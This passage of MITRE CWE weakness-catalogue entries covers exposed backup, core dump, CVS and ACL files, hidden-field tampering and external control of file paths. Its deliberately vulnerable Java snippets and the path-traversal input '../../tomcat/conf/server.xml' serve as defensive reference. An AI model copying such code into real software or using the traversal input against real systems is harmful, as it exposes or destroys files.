Seven Pernicious Kingdoms (primary)700
ParentOfWeakness BaseWeakness Base395Use of NullPointerException Catch to Detect NULL Pointer Dereference
Seven Pernicious Kingdoms (primary)700
ParentOfWeakness BaseWeakness Base396Declaration of Catch for Generic Exception
Seven Pernicious Kingdoms (primary)700
ParentOfWeakness BaseWeakness Base397Declaration of Throws for Generic Exception
Seven Pernicious Kingdoms (primary)700
ParentOfWeakness BaseWeakness Base544Missing Standardized Error Handling Mechanism
Development Concepts (primary)699
ParentOfWeakness BaseWeakness Base600Uncaught Exception in Servlet
Development Concepts (primary)699
ParentOfWeakness VariantWeakness Variant617Reachable Assertion
Development Concepts699
ParentOfWeakness ClassWeakness Class636Not Failing Securely ('Failing Open')
Development Concepts699
ParentOfWeakness ClassWeakness Class703Improper Check or Handling of Exceptional Conditions
Development Concepts (primary)699
ParentOfWeakness ClassWeakness Class754Improper Check for Unusual or Exceptional Conditions
Weaknesses for Simplified Mapping of Published Vulnerabilities (primary)1003
ParentOfWeakness ClassWeakness Class756Missing Custom Error Page
Development Concepts (primary)699
MemberOfViewView699Development Concepts
Development Concepts (primary)699
MemberOfViewView700Seven Pernicious Kingdoms
Seven Pernicious Kingdoms (primary)700
PeerOfWeakness BaseWeakness Base619Dangling Database Cursor ('Cursor Injection')
Research Concepts1000
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
7 Pernicious KingdomsError Handling
OWASP Top Ten 2004A7CWE More SpecificImproper Error Handling
+ References
[REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 11: Failure to Handle Errors Correctly." Page 183. McGraw-Hill. 2010.
+ Content History
Submissions
Submission DateSubmitterOrganizationSource
7 Pernicious KingdomsExternally Mined
Modifications
Modification DateModifierOrganizationSource
2008-07-01Sean EidemillerCigitalExternal
added/updated demonstrative examples
2008-09-08CWE Content TeamMITREInternal
updated Common_Consequences, Description, Relationships, Taxonomy_Mappings
2008-10-14CWE Content TeamMITREInternal
updated Description
2009-03-10CWE Content TeamMITREInternal
updated Relationships
2009-10-29CWE Content TeamMITREInternal
updated Common_Consequences
2010-02-16CWE Content TeamMITREInternal
updated Relationships
2010-04-05CWE Content TeamMITREInternal
updated Related_Attack_Patterns
2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences
2012-05-11CWE Content TeamMITREInternal
updated References
2015-12-07CWE Content TeamMITREInternal
updated Relationships
2017-01-19CWE Content TeamMITREInternal
updated Relationships

CWE-529: Exposure of Access Control List Files to an Unauthorized Control Sphere

Weakness ID: 529
Abstraction: Variant
Status: Incomplete
Presentation Filter:
+ Description

Description Summary

The product stores access control list files in a directory or other container that is accessible to actors outside of the intended control sphere.

Extended Description

Exposure of these access control list files may give the attacker information about the configuration of the site or system. This information may then be used to bypass the intended security policy or identify trusted systems from which an attack can be launched.

+ Time of Introduction
  • Operation
+ Common Consequences
ScopeEffect
Confidentiality
Access Control

Technical Impact: Read application data; Bypass protection mechanism

+ Potential Mitigations

Phase: System Configuration

Protect access control list files.

+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfWeakness BaseWeakness Base538File and Directory Information Exposure
Development Concepts (primary)699
Research Concepts (primary)1000
ChildOfWeakness BaseWeakness Base552Files or Directories Accessible to External Parties
Development Concepts699
Research Concepts1000
ChildOfCategoryCategory731OWASP Top Ten 2004 Category A10 - Insecure Configuration Management
Weaknesses in OWASP Top Ten (2004) (primary)711
ChildOfCategoryCategory963SFP Secondary Cluster: Exposed Data
Software Fault Pattern (SFP) Clusters (primary)888
+ Content History
Submissions
Submission DateSubmitterOrganizationSource
Anonymous Tool Vendor (under NDA)Externally Mined
Modifications
Modification DateModifierOrganizationSource
2008-07-01Eric DalciCigitalExternal
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
2009-03-10CWE Content TeamMITREInternal
updated Relationships
2009-12-28CWE Content TeamMITREInternal
updated Description, Name
2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences
2012-05-11CWE Content TeamMITREInternal
updated Relationships
2012-10-30CWE Content TeamMITREInternal
updated Potential_Mitigations
2014-07-30CWE Content TeamMITREInternal
updated Relationships
Previous Entry Names
Change DatePrevious Entry Name
2009-12-28Information Leak Through Access Control List Files

CWE-530: Exposure of Backup File to an Unauthorized Control Sphere

Weakness ID: 530
Abstraction: Variant
Status: Incomplete
Presentation Filter:
+ Description

Description Summary

A backup file is stored in a directory that is accessible to actors outside of the intended control sphere.

Extended Description

Often, old files are renamed with an extension such as .~bk to distinguish them from production files. The source code for old files that have been renamed in this manner and left in the webroot can often be retrieved. This renaming may have been performed automatically by the web server, or manually by the administrator.

+ Time of Introduction
  • Implementation
  • Operation
+ Common Consequences
ScopeEffect
Confidentiality

Technical Impact: Read application data

At a minimum, an attacker who retrieves this file would have all the information contained in it, whether that be database calls, the format of parameters accepted by the application, or simply information regarding the architectural structure of your site.

+ Potential Mitigations

Phase: Policy

Recommendations include implementing a security policy within your organization that prohibits backing up web application source code in the webroot.

+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfWeakness BaseWeakness Base538File and Directory Information Exposure
Development Concepts (primary)699
Research Concepts (primary)1000
ChildOfWeakness BaseWeakness Base552Files or Directories Accessible to External Parties
Research Concepts1000
ChildOfCategoryCategory731OWASP Top Ten 2004 Category A10 - Insecure Configuration Management
Weaknesses in OWASP Top Ten (2004) (primary)711
ChildOfCategoryCategory963SFP Secondary Cluster: Exposed Data
Software Fault Pattern (SFP) Clusters (primary)888
+ Content History
Submissions
Submission DateSubmitterOrganizationSource
Anonymous Tool Vendor (under NDA)Externally Mined
Modifications
Modification DateModifierOrganizationSource
2008-07-01Eric DalciCigitalExternal
updated Time_of_Introduction
2008-09-08CWE Content TeamMITREInternal
updated Common_Consequences, Relationships, Taxonomy_Mappings
2009-03-10CWE Content TeamMITREInternal
updated Relationships
2009-10-29CWE Content TeamMITREInternal
updated Common_Consequences
2009-12-28CWE Content TeamMITREInternal
updated Description, Name
2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences
2012-05-11CWE Content TeamMITREInternal
updated Relationships
2012-10-30CWE Content TeamMITREInternal
updated Potential_Mitigations
2014-07-30CWE Content TeamMITREInternal
updated Relationships
Previous Entry Names
Change DatePrevious Entry Name
2009-12-28Information Leak Through Backup (.~bk) Files

CWE-528: Exposure of Core Dump File to an Unauthorized Control Sphere

Weakness ID: 528
Abstraction: Variant
Status: Draft
Presentation Filter:
+ Description

Description Summary

The product generates a core dump file in a directory that is accessible to actors outside of the intended control sphere.
+ Time of Introduction
  • Implementation
  • Operation
+ Common Consequences
ScopeEffect
Confidentiality

Technical Impact: Read application data; Read files or directories

+ Potential Mitigations

Phase: System Configuration

Protect the core dump files from unauthorized access.

+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfWeakness BaseWeakness Base538File and Directory Information Exposure
Development Concepts (primary)699
Research Concepts (primary)1000
ChildOfWeakness BaseWeakness Base552Files or Directories Accessible to External Parties
Development Concepts699
Research Concepts1000
ChildOfCategoryCategory731OWASP Top Ten 2004 Category A10 - Insecure Configuration Management
Weaknesses in OWASP Top Ten (2004) (primary)711
ChildOfCategoryCategory742CERT C Secure Coding Section 08 - Memory Management (MEM)
Weaknesses Addressed by the CERT C Secure Coding Standard (primary)734
ChildOfCategoryCategory876CERT C++ Secure Coding Section 08 - Memory Management (MEM)
Weaknesses Addressed by the CERT C++ Secure Coding Standard (primary)868
ChildOfCategoryCategory963SFP Secondary Cluster: Exposed Data
Software Fault Pattern (SFP) Clusters (primary)888
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
Anonymous Tool Vendor (under NDA)
CERT C Secure CodingMEM06-CEnsure that sensitive data is not written out to disk
CERT C++ Secure CodingMEM06-CPPEnsure that sensitive data is not written out to disk
+ Content History
Submissions
Submission DateSubmitterOrganizationSource
Anonymous Tool Vendor (under NDA)Externally Mined
Modifications
Modification DateModifierOrganizationSource
2008-07-01Eric DalciCigitalExternal
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
2008-11-24CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
2009-03-10CWE Content TeamMITREInternal
updated Relationships
2009-12-28CWE Content TeamMITREInternal
updated Description, Name
2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-09-13CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
2012-10-30CWE Content TeamMITREInternal
updated Potential_Mitigations
2014-07-30CWE Content TeamMITREInternal
updated Relationships
Previous Entry Names
Change DatePrevious Entry Name
2009-12-28Information Leak Through Core Dump Files

CWE-527: Exposure of CVS Repository to an Unauthorized Control Sphere

Weakness ID: 527
Abstraction: Variant
Status: Incomplete
Presentation Filter:
+ Description

Description Summary

The product stores a CVS repository in a directory or other container that is accessible to actors outside of the intended control sphere.

Extended Description

Information contained within a CVS subdirectory on a web server or other server could be recovered by an attacker and used for malicious purposes. This information may include usernames, filenames, path root, and IP addresses.

+ Time of Introduction
  • Operation
+ Common Consequences
ScopeEffect
Confidentiality

Technical Impact: Read application data; Read files or directories

+ Potential Mitigations

Phases: Operation; Distribution; System Configuration

Recommendations include removing any CVS directories and repositories from the production server, disabling the use of remote CVS repositories, and ensuring that the latest CVS patches and version updates have been performed.

+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfWeakness BaseWeakness Base538File and Directory Information Exposure
Development Concepts (primary)699
Research Concepts (primary)1000
ChildOfWeakness BaseWeakness Base552Files or Directories Accessible to External Parties
Development Concepts699
Research Concepts1000
ChildOfCategoryCategory731OWASP Top Ten 2004 Category A10 - Insecure Configuration Management
Weaknesses in OWASP Top Ten (2004) (primary)711
ChildOfCategoryCategory963SFP Secondary Cluster: Exposed Data
Software Fault Pattern (SFP) Clusters (primary)888
+ Content History
Submissions
Submission DateSubmitterOrganizationSource
Anonymous Tool Vendor (under NDA)Externally Mined
Modifications
Modification DateModifierOrganizationSource
2008-07-01Eric DalciCigitalExternal
updated Time_of_Introduction
2008-09-08CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
2008-10-14CWE Content TeamMITREInternal
updated Description
2009-03-10CWE Content TeamMITREInternal
updated Relationships
2009-12-28CWE Content TeamMITREInternal
updated Description, Name
2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences
2012-05-11CWE Content TeamMITREInternal
updated Relationships
2012-10-30CWE Content TeamMITREInternal
updated Potential_Mitigations
2014-07-30CWE Content TeamMITREInternal
updated Relationships
Previous Entry Names
Change DatePrevious Entry Name
2009-12-28Information Leak Through CVS Repository

CWE-472: External Control of Assumed-Immutable Web Parameter

Weakness ID: 472
Abstraction: Base
Status: Draft
Presentation Filter:
+ Description

Description Summary

The web application does not sufficiently verify inputs that are assumed to be immutable but are actually externally controllable, such as hidden form fields.

Extended Description

If a web product does not properly protect assumed-immutable values from modification in hidden form fields, parameters, cookies, or URLs, this can lead to modification of critical data. Web applications often mistakenly make the assumption that data passed to the client in hidden fields or cookies is not susceptible to tampering. Improper validation of data that are user-controllable can lead to the application processing incorrect, and often malicious, input.

For example, custom cookies commonly store session data or persistent data across sessions. This kind of session data is normally involved in security related decisions on the server side, such as user authentication and access control. Thus, the cookies might contain sensitive data such as user credentials and privileges. This is a dangerous practice, as it can often lead to improper reliance on the value of the client-provided cookie by the server side application.

+ Alternate Terms
Assumed-Immutable Parameter Tampering
+ Time of Introduction
  • Implementation
+ Applicable Platforms

Languages

All

+ Common Consequences
ScopeEffect
Integrity

Technical Impact: Modify application data

Without appropriate protection mechanisms, the client can easily tamper with cookies and similar web data. Reliance on the cookies without detailed validation can lead to problems such as SQL injection. If you use cookie values for security related decisions on the server side, manipulating the cookies might lead to violations of security policies such as authentication bypassing, user impersonation and privilege escalation. In addition, storing sensitive data in the cookie without appropriate protection can also lead to disclosure of sensitive user data, especially data stored in persistent cookies.

+ Demonstrative Examples

Example 1

Here, a web application uses the value of a hidden form field (accountID) without having done any input validation because it was assumed to be immutable.

(Bad Code)
Example Language: Java 
String accountID = request.getParameter("accountID");
User user = getUserFromID(Long.parseLong(accountID));

Example 2

Hidden fields should not be trusted as secure parameters. An attacker can intercept and alter hidden fields in a post to the server as easily as user input fields. An attacker can simply parse the HTML for the substring:

(Bad Code)
Example Language: HTML 
< input type "hidden"

or even just "hidden". Hidden field values displayed later in the session, such as on the following page, can open a site up to cross-site scripting attacks.

+ Observed Examples
ReferenceDescription
Forum product allows spoofed messages of other users via hidden form fields for name and e-mail address.
Shopping cart allows price modification via hidden form field.
Shopping cart allows price modification via hidden form field.
Shopping cart allows price modification via hidden form field.
Shopping cart allows price modification via hidden form field.
Shopping cart allows price modification via hidden form field.
Allows admin access by modifying value of form field.
Read messages by modifying message ID parameter.
Send email to arbitrary users by modifying email parameter.
Authentication bypass by setting a parameter.
Product does not check authorization for configuration change admin script, leading to password theft via modified e-mail address field.
Logic error leads to password disclosure.
Modification of message number parameter allows attackers to read other people's messages.
+ Potential Mitigations

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy: Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfCategoryCategory371State Issues
Weaknesses for Simplified Mapping of Published Vulnerabilities (primary)1003
ChildOfWeakness BaseWeakness Base471Modification of Assumed-Immutable Data (MAID)
Development Concepts (primary)699
Research Concepts1000
ChildOfWeakness ClassWeakness Class642External Control of Critical State Data
Research Concepts (primary)1000
ChildOfCategoryCategory715OWASP Top Ten 2007 Category A4 - Insecure Direct Object Reference
Weaknesses in OWASP Top Ten (2007) (primary)629
ChildOfCategoryCategory722OWASP Top Ten 2004 Category A1 - Unvalidated Input
Weaknesses in OWASP Top Ten (2004) (primary)711
ChildOfCategoryCategory991SFP Secondary Cluster: Tainted Input to Environment
Software Fault Pattern (SFP) Clusters (primary)888
RequiredByCompound Element: CompositeCompound Element: Composite384Session Fixation
Research Concepts1000
CanFollowWeakness BaseWeakness Base656Reliance on Security Through Obscurity
Research Concepts1000
+ Relationship Notes

This is a primary weakness for many other weaknesses and functional consequences, including XSS, SQL injection, path disclosure, and file inclusion.

+ Theoretical Notes

This is a technology-specific MAID problem.

+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERWeb Parameter Tampering
OWASP Top Ten 2007A4CWE More SpecificInsecure Direct Object Reference
OWASP Top Ten 2004A1CWE More SpecificUnvalidated Input
+ References
[REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 4: Use of Magic URLs, Predictable Cookies, and Hidden Form Fields." Page 75. McGraw-Hill. 2010.
[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 17, "Embedding State in HTML and URLs", Page 1032.. 1st Edition. Addison Wesley. 2006.
+ Content History
Submissions
Submission DateSubmitterOrganizationSource
PLOVERExternally Mined
Modifications
Modification DateModifierOrganizationSource
2008-07-01Sean EidemillerCigitalExternal
added/updated demonstrative examples
2008-07-01Eric DalciCigitalExternal
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITREInternal
updated Description, Relationships, Other_Notes, Taxonomy_Mappings
2009-01-12CWE Content TeamMITREInternal
updated Relationships
2009-07-27CWE Content TeamMITREInternal
updated Potential_Mitigations
2009-10-29CWE Content TeamMITREInternal
updated Common_Consequences, Demonstrative_Examples, Description, Other_Notes, Relationship_Notes, Theoretical_Notes
2010-04-05CWE Content TeamMITREInternal
updated Related_Attack_Patterns
2010-12-13CWE Content TeamMITREInternal
updated Description
2011-03-29CWE Content TeamMITREInternal
updated Potential_Mitigations
2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences
2011-06-27CWE Content TeamMITREInternal
updated Common_Consequences
2012-05-11CWE Content TeamMITREInternal
updated Demonstrative_Examples, References, Relationships
2014-07-30CWE Content TeamMITREInternal
updated Relationships
2015-12-07CWE Content TeamMITREInternal
updated Relationships
Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Web Parameter Tampering

CWE-73: External Control of File Name or Path

Weakness ID: 73
Abstraction: Class
Status: Draft
Presentation Filter:
+ Description

Description Summary

The software allows user input to control or influence paths or file names that are used in filesystem operations.

Extended Description

This could allow an attacker to access or modify system files or other files that are critical to the application.

Path manipulation errors occur when the following two conditions are met:

1. An attacker can specify a path used in an operation on the filesystem.

2. By specifying the resource, the attacker gains a capability that would not otherwise be permitted.

For example, the program may give the attacker the ability to overwrite the specified file or run with a configuration controlled by the attacker.

+ Time of Introduction
  • Architecture and Design
  • Implementation
  • Operation
+ Applicable Platforms

Languages

All

Operating Systems

UNIX: (Often)

Windows: (Often)

Mac OS: (Often)

+ Common Consequences
ScopeEffect
Integrity
Confidentiality

Technical Impact: Read files or directories; Modify files or directories

The application can operate on unexpected files. Confidentiality is violated when the targeted filename is not directly readable by the attacker.

Integrity
Confidentiality
Availability

Technical Impact: Modify files or directories; Execute unauthorized code or commands

The application can operate on unexpected files. This may violate integrity if the filename is written to, or if the filename is for a program or other form of executable code.

Availability

Technical Impact: DoS: crash / exit / restart; DoS: resource consumption (other)

The application can operate on unexpected files. Availability can be violated if the attacker specifies an unexpected file that the application modifies. Availability can also be affected if the attacker specifies a filename for a large file, or points to a special device or a file that does not have the format that the application expects.

+ Likelihood of Exploit

High to Very High

+ Detection Methods

Automated Static Analysis

The external control or influence of filenames can often be detected using automated static analysis that models data flow within the software.

Automated static analysis might not be able to recognize when proper input validation is being performed, leading to false positives - i.e., warnings that do not have any security consequences or require any code changes.

+ Demonstrative Examples

Example 1

The following code uses input from an HTTP request to create a file name. The programmer has not considered the possibility that an attacker could provide a file name such as "../../tomcat/conf/server.xml", which causes the application to delete one of its own configuration files (CWE-22).

(Bad Code)
Example Language: Java 
String rName = request.getParameter("reportName");
File rFile = new File("/usr/local/apfr/reports/" + rName);
...
rFile.delete();

Example 2

The following code uses input from a configuration file to determine which file to open and echo back to the user. If the program runs with privileges and malicious users can change the configuration file, they can use the program to read any file on the system that ends with the extension .txt.

(Bad Code)
Example Language: Java 
fis = new FileInputStream(cfg.getProperty("sub")+".txt");
amt = fis.read(arr);
out.println(arr);
+ Observed Examples
ReferenceDescription
Chain: external control of values for user's desired language and theme enables path traversal.
Chain: external control of user's target language enables remote file inclusion.
+ Potential Mitigations

Phase: Architecture and Design

When the set of filenames is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap provide this capability.

Phases: Architecture and Design; Operation

Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict all access to files within a particular directory.

Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.

This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.

Be careful to avoid CWE-243 and other weaknesses related to jails.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When validating filenames, use stringent whitelists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a whitelist of allowable file extensions, which will help to avoid CWE-434.

Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a blacklist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Phase: Implementation

Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59).

Phases: Installation; Operation

Use OS-level permissions and run as a low-privileged user to limit the scope of any successful attack.

Phases: Operation; Implementation

If you are using PHP, configure your application so that it does not use register_globals. During implementation, develop your application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

Phase: Testing

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Phase: Testing

Use dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Phase: Testing

Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfWeakness ClassWeakness Class20Improper Input Validation
Development Concepts (primary)699
Seven Pernicious Kingdoms (primary)700
ChildOfWeakness ClassWeakness Class610Externally Controlled Reference to a Resource in Another Sphere
Research Concepts1000
ChildOfWeakness ClassWeakness Class642External Control of Critical State Data
Research Concepts (primary)1000
ChildOfCategoryCategory723OWASP Top Ten 2004 Category A2 - Broken Access Control
Weaknesses in OWASP Top Ten (2004) (primary)711
ChildOfCategoryCategory7522009 Top 25 - Risky Resource Management
Weaknesses in the 2009 CWE/SANS Top 25 Most Dangerous Programming Errors (primary)750
ChildOfCategoryCategory877CERT C++ Secure Coding Section 09 - Input Output (FIO)
Weaknesses Addressed by the CERT C++ Secure Coding Standard (primary)868
ChildOfCategoryCategory981SFP Secondary Cluster: Path Traversal
Software Fault Pattern (SFP) Clusters (primary)888
CanPrecedeWeakness ClassWeakness Class22Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Research Concepts1000
CanPrecedeWeakness BaseWeakness Base41Improper Resolution of Path Equivalence
Research Concepts1000
CanPrecedeWeakness BaseWeakness Base59Improper Link Resolution Before File Access ('Link Following')
Research Concepts1000
CanPrecedeWeakness BaseWeakness Base98Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')
Research Concepts1000
CanPrecedeWeakness BaseWeakness Base434Unrestricted Upload of File with Dangerous Type
Research Concepts1000
CanAlsoBeWeakness BaseWeakness Base99Improper Control of Resource Identifiers ('Resource Injection')
Research Concepts1000
+ Relationship Notes

The external control of filenames can be the primary link in chains with other file-related weaknesses, as seen in the CanPrecede relationships. This is because software systems use files for many different purposes: to execute programs, load code libraries, to store application data, to store configuration settings, record temporary data, act as signals or semaphores to other processes, etc.

However, those weaknesses do not always require external control. For example, link-following weaknesses (CWE-59) often involve pathnames that are not controllable by the attacker at all.

The external control can be resultant from other issues. For example, in PHP applications, the register_globals setting can allow an attacker to modify variables that the programmer thought were immutable, enabling file inclusion (CWE-98) and path traversal (CWE-22). Operating with excessive privileges (CWE-250) might allow an attacker to specify an input filename that is not directly readable by the attacker, but is accessible to the privileged program. A buffer overflow (CWE-119) might give an attacker control over nearby memory locations that are related to pathnames, but were not directly modifiable by the attacker.

+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
7 Pernicious KingdomsPath Manipulation
CERT C++ Secure CodingFIO01-CPPBe careful using functions that use file names for identification
CERT C++ Secure CodingFIO02-CPPCanonicalize path names originating from untrusted sources
Software Fault PatternsSFP16Path Traversal
+ References
[REF-21] OWASP. "OWASP Enterprise Security API (ESAPI) Project". <http://www.owasp.org/index.php/ESAPI>.
+ Content History
Submissions
Submission DateSubmitterOrganizationSource
7 Pernicious KingdomsExternally Mined
Modifications
Modification DateModifierOrganizationSource
2008-07-01Eric DalciCigitalExternal
updated Time_of_Introduction
2008-09-08CWE Content TeamMITREInternal
updated Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities
2009-01-12CWE Content TeamMITREInternal
updated Applicable_Platforms, Causal_Nature, Common_Consequences, Demonstrative_Examples, Description, Observed_Examples, Other_Notes, Potential_Mitigations, References, Relationship_Notes, Relationships, Weakness_Ordinalities
2009-03-10CWE Content TeamMITREInternal
updated Potential_Mitigations, Relationships
2009-07-27CWE Content TeamMITREInternal
updated Demonstrative_Examples
2009-10-29CWE Content TeamMITREInternal
updated Common_Consequences, Description
2009-12-28CWE Content TeamMITREInternal
updated Detection_Factors
2010-02-16CWE Content TeamMITREInternal
updated Potential_Mitigations
2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-09-13CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITREInternal
updated Demonstrative_Examples, References, Related_Attack_Patterns, Relationships, Taxonomy_Mappings
2012-10-30CWE Content TeamMITREInternal
updated Potential_Mitigations
2014-07-30CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Path Manipulation

CWE-552: Files or Directories Accessible to External Parties

Weakness ID: 552
Abstraction: Base
Status: Draft
Presentation Filter:
+ Description

Description Summary

Files or directories are accessible in the environment that should not be.
+ Time of Introduction
  • Implementation
  • Operation
+ Common Consequences
ScopeEffect
Confidentiality
Integrity

Technical Impact: Read files or directories; Modify files or directories

+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfCategoryCategory632Weaknesses that Affect Files or Directories
Resource-specific Weaknesses (primary)631
ChildOfWeakness ClassWeakness Class668Exposure of Resource to Wrong Sphere
Development Concepts (primary)699
Research Concepts (primary)1000
Weaknesses for Simplified Mapping of Published Vulnerabilities (primary)1003
ChildOfCategoryCategory731OWASP Top Ten 2004 Category A10 - Insecure Configuration Management
Weaknesses in OWASP Top Ten (2004) (primary)711
ChildOfCategoryCategory743CERT C Secure Coding Section 09 - Input Output (FIO)
Weaknesses Addressed by the CERT C Secure Coding Standard (primary)734
ChildOfCategoryCategory815OWASP Top Ten 2010 Category A6 - Security Misconfiguration
Weaknesses in OWASP Top Ten (2010) (primary)809
ChildOfCategoryCategory877CERT C++ Secure Coding Section 09 - Input Output (FIO)
Weaknesses Addressed by the CERT C++ Secure Coding Standard (primary)868
ChildOfCategoryCategory963SFP Secondary Cluster: Exposed Data
Software Fault Pattern (SFP) Clusters (primary)888
ParentOfWeakness VariantWeakness Variant527Exposure of CVS Repository to an Unauthorized Control Sphere
Development Concepts699
Research Concepts1000
ParentOfWeakness VariantWeakness Variant528Exposure of Core Dump File to an Unauthorized Control Sphere
Development Concepts699
Research Concepts1000
ParentOfWeakness VariantWeakness Variant529Exposure of Access Control List Files to an Unauthorized Control Sphere
Development Concepts699
Research Concepts1000
ParentOfWeakness VariantWeakness Variant530Exposure of Backup File to an Unauthorized Control Sphere
Research Concepts1000
ParentOfWeakness VariantWeakness Variant532Information Exposure Through Log Files
Development Concepts699
Research Concepts1000
ParentOfWeakness VariantWeakness Variant540Information Exposure Through Source Code
Development Concepts699
Research Concepts1000
ParentOfWeakness VariantWeakness Variant548Information Exposure Through Directory Listing
Research Concepts1000
ParentOfWeakness VariantWeakness Variant553Command Shell in Externally Accessible Directory
Development Concepts (primary)699
Research Concepts (primary)1000
+ Affected Resources
  • File/Directory
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
OWASP Top Ten 2004A10CWE More SpecificInsecure Configuration Management
CERT C Secure CodingFIO15-CEnsure that file operations are performed in a secure directory
CERT C++ Secure CodingFIO15-CPPEnsure that file operations are performed in a secure directory
+ Content History
Modifications
Modification DateModifierOrganizationSource
2008-07-01Eric DalciCigitalExternal
updated Time_of_Introduction
2008-08-15VeracodeExternal
Suggested OWASP Top Ten 2004 mapping
2008-09-08CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
2008-11-24CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
